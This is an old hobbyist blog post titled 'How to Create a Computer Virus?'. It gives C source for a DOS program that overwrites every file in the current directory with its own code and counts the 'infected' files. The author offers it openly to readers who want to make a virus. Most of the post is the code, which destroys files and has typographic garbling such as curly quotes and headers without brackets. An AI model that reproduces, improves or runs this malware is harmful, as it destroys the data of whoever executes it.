hacking

hacking is my passion, if u wanna do some thing interesting u can visit here

My Blog List

just click to see

Your Ad Here

ur ip address is

Sign by Danasoft - Get Your Free Sign

Tuesday, July 13, 2010

How to Create a Computer Virus?

I sumit write this code for peoples who wants to create virus itself

This program is an example of how to create a virus in C. This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.



 #include  stdio.h
#include  io.h
#include  dos.h
#include  dir.h
#include  conio.h
#include  time.h




           FILE *virus,*host;
           int done,a=0;
          unsigned long x;
          char buff[2048];
          struct ffblk ffblk;
          clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

No comments: